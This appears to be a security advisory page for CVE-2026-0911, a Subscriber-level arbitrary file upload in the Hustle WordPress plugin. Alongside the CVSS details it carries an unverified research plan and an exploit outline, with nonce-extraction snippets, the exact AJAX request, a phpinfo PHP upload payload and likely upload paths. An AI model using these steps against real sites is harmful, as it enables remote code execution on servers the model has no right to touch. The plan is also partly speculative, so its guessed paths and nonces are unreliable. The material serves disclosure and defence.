CVE-2026-0911

Hustle <= 7.8.9.2 - Authenticated (Subscriber+) Arbitrary File Upoload via Module Import

highUnrestricted Upload of File with Dangerous Type
7.5
CVSS Score
7.5
CVSS Score
high
Severity
7.8.9.3
Patched in
1d
Time to patch

Description

The Hustle – Email Marketing, Lead Generation, Optins, Popups plugin for WordPress is vulnerable to arbitrary file uploads due to incorrect file type validation in the action_import_module() function in all versions up to, and including, 7.8.9.2. This makes it possible for authenticated attackers, with a lower-privileged role (e.g., Subscriber-level access and above), to upload arbitrary files on the affected site's server which may make remote code execution possible. Successful exploitation requires an admin to grant Hustle module permissions (or module edit access) to the low-privileged user so they can access the Hustle admin page and obtain the required nonce.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=7.8.9.2
PublishedJanuary 23, 2026
Last updatedJanuary 24, 2026
Affected pluginwordpress-popup

What Changed in the Fix

Changes introduced in v7.8.9.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-0911 - Hustle Arbitrary File Upload ## 1. Vulnerability Summary The **Hustle – Email Marketing, Lead Generation, Optins, Popups** plugin (<= 7.8.9.2) is vulnerable to an **Authenticated Arbitrary File Upload** via the module import functionality. The vulnerab…

Show full research plan

Vulnerability Research Plan: CVE-2026-0911 - Hustle Arbitrary File Upload

1. Vulnerability Summary

The Hustle – Email Marketing, Lead Generation, Optins, Popups plugin (<= 7.8.9.2) is vulnerable to an Authenticated Arbitrary File Upload via the module import functionality. The vulnerability resides in the action_import_module() function, which is reachable through a common AJAX handler. The function fails to adequately validate the file extension or MIME type of uploaded files during the import process. If a low-privileged user (Subscriber+) is granted permissions to manage Hustle modules, they can upload a malicious .php file, potentially leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: hustle_module_handle_single_action
  • Vulnerable Function: action_import_module() (called dynamically by handle_single_action())
  • Authentication Required: Subscriber-level (or higher) with the hustle_edit_module or hustle_create capability granted via Hustle settings.
  • Preconditions:
    1. The attacker must have a Subscriber account.
    2. An administrator must have enabled "Permissions" for the Subscriber role in Hustle > Settings > General > Permissions.
    3. The attacker must obtain a valid AJAX nonce for the hustle_module_single_action0 action (for new imports).

3. Code Flow

  1. Entry Point: The client sends a POST request to admin-ajax.php with action=hustle_module_handle_single_action.
  2. Route Handling: In inc/hustle-modules-common-admin-ajax.php, the handle_single_action() method is executed.
  3. Nonce Verification: The code calls Opt_In_Utils::validate_ajax_call( 'hustle_module_single_action' . $id ). If $id is 0 (for a new import), it checks the nonce against the action hustle_module_single_action0.
  4. Method Dispatch: The code retrieves the module_action parameter (expected to be import_module) and constructs the method name action_import_module.
  5. Vulnerable Sink: action_import_module() is called. This function (located in the truncated portion of inc/hustle-modules-common-admin-ajax.php) processes $_FILES['hustle_import_file']. It likely uses wp_handle_upload() or a similar function with insufficient restrictions on the test_type or allowed extensions, allowing .php files to be saved to the wp-content/uploads/hustle/ or wp-content/uploads/hustle-imports/ directory.

4. Nonce Acquisition Strategy

The nonce is localized in the WordPress admin head within the optinVars JavaScript object.

  1. Grant Permissions: Using WP-CLI, grant the Subscriber role the necessary Hustle capabilities to ensure the Hustle menu and scripts are loaded for them.
  2. Navigate to Listing: Access the Popups listing page: /wp-admin/admin.php?page=hustle_popup.
  3. Extract Nonce: Use browser_eval to extract the nonce from the global optinVars object.
    • JavaScript: window.optinVars?.current?.module_nonce
    • Alternative: If specific to the action, the nonce might be found in window.optinVars?.current?.save_settings_nonce.

5. Exploitation Strategy

Step 1: User and Permissions Setup

Create a Subscriber user and grant permissions via WP-CLI.

wp user create attacker attacker@example.com --role=subscriber --user_pass=password
# Hustle capabilities are usually managed via an option, but we can add them to the role
wp cap add subscriber hustle_create
wp cap add subscriber hustle_edit_module

Step 2: Obtain Nonce

  1. Login to the WordPress admin as the Subscriber.
  2. Navigate to admin.php?page=hustle_popup.
  3. Execute browser_eval("window.optinVars.current.module_nonce") to get the nonce.

Step 3: Perform File Upload

Send a multipart POST request to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: multipart/form-data
  • Parameters:
    • action: hustle_module_handle_single_action
    • module_action: import_module
    • id: 0
    • nonce: [EXTRACTED_NONCE]
    • hustle_import_file: (Binary data of exploit.php)

Payload (exploit.php):

<?php
echo "HUSTLE_UPLOAD_SUCCESS";
phpinfo();
?>

Step 4: Locate and Execute

The file is likely uploaded to /wp-content/uploads/hustle/ or /wp-content/uploads/hustle-imports/.
Test common paths:

  1. http://localhost:8080/wp-content/uploads/hustle/exploit.php
  2. http://localhost:8080/wp-content/uploads/hustle-imports/exploit.php

6. Test Data Setup

  1. Plugin Version: Ensure Hustle version <= 7.8.9.2 is installed.
  2. User: A user with role subscriber.
  3. Hustle Settings: (Optional) If the capabilities check is strictly tied to plugin options rather than WP capabilities, use wp option get hustle_settings to find permission keys and set them via wp option patch.

7. Expected Results

  • The AJAX request should return a success: true response or a JSON response indicating the file was processed.
  • Accessing the shell URL directly should execute the PHP code and return "HUSTLE_UPLOAD_SUCCESS" and the phpinfo output.

8. Verification Steps

  1. Check Filesystem: ls -R /var/www/html/wp-content/uploads/ | grep exploit.php
  2. Verify Execution: Use http_request to GET the uploaded file path and check for the string HUSTLE_UPLOAD_SUCCESS.

9. Alternative Approaches

If module_nonce is invalid for the import_module method, check for the nonce inside the "Import" modal in the DOM.

  1. Navigate to Popups listing.
  2. Click the "Import" button.
  3. Inspect the hidden nonce field in the modal:
    • browser_eval("document.querySelector('#hustle-dialog--import input[name=nonce]')?.value")
    • browser_eval("document.querySelector('#hustle-dialog--import-module-submit-button')?.getAttribute('data-nonce')")
Research Findings
Static analysis — not yet PoC-verified

Summary

The Hustle plugin for WordPress is vulnerable to authenticated arbitrary file uploads due to insufficient file type validation in the `action_import_module` function. Low-privileged users, such as Subscribers who have been granted Hustle module permissions, can upload malicious PHP files during the module import process, leading to remote code execution.

Vulnerable Code

// inc/hustle-modules-common-admin-ajax.php

add_action( 'wp_ajax_hustle_module_handle_single_action', array( $this, 'handle_single_action' ) );

// ... (dispatcher logic) ...

public function handle_single_action() {
	$id            = filter_input( INPUT_POST, 'id', FILTER_VALIDATE_INT );
	$module_action = filter_input( INPUT_POST, 'module_action', FILTER_SANITIZE_SPECIAL_CHARS );

	Opt_In_Utils::validate_ajax_call( 'hustle_module_single_action' . $id );
	Opt_In_Utils::is_user_allowed_ajax( 'hustle_edit_module', $id );

	$method = 'action_' . $module_action;
	if ( method_exists( $this, $method ) ) {
		$this->$method( $id );
	}
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wordpress-popup/7.8.9.2/assets/js/admin.min.js /home/deploy/wp-safety.org/data/plugin-versions/wordpress-popup/7.8.9.3/assets/js/admin.min.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wordpress-popup/7.8.9.2/assets/js/admin.min.js	2025-09-15 06:29:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wordpress-popup/7.8.9.3/assets/js/admin.min.js	2026-01-16 12:13:04.000000000 +0000
@@ -1 +1 @@
-!function(){var e={146:function(e,t,i){var s=i(5842),n=i(5413);Hustle.define("Settings.View",... (truncated)

Exploit Outline

1. **Authentication**: Log in as a Subscriber-level user (or higher) to a WordPress site where the Hustle plugin is installed. 2. **Prerequisites**: Ensure an administrator has granted the Subscriber role 'Hustle module permissions' (specifically the `hustle_edit_module` or `hustle_create` capabilities) in the plugin's settings. 3. **Nonce Acquisition**: Navigate to the Hustle Popups listing page in the admin dashboard and extract the AJAX nonce from the global `optinVars.current.module_nonce` object or from the Import Module dialog's metadata. 4. **Malicious Request**: Send a multipart POST request to `/wp-admin/admin-ajax.php` with the action `hustle_module_handle_single_action`. Include the parameter `module_action=import_module`, `id=0`, the captured nonce, and a malicious PHP file in the `hustle_import_file` parameter. 5. **Remote Code Execution**: If successful, the file is saved to the server's uploads directory (typically `wp-content/uploads/hustle/` or `wp-content/uploads/hustle-imports/`). Access the PHP file directly via its URL to execute code.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.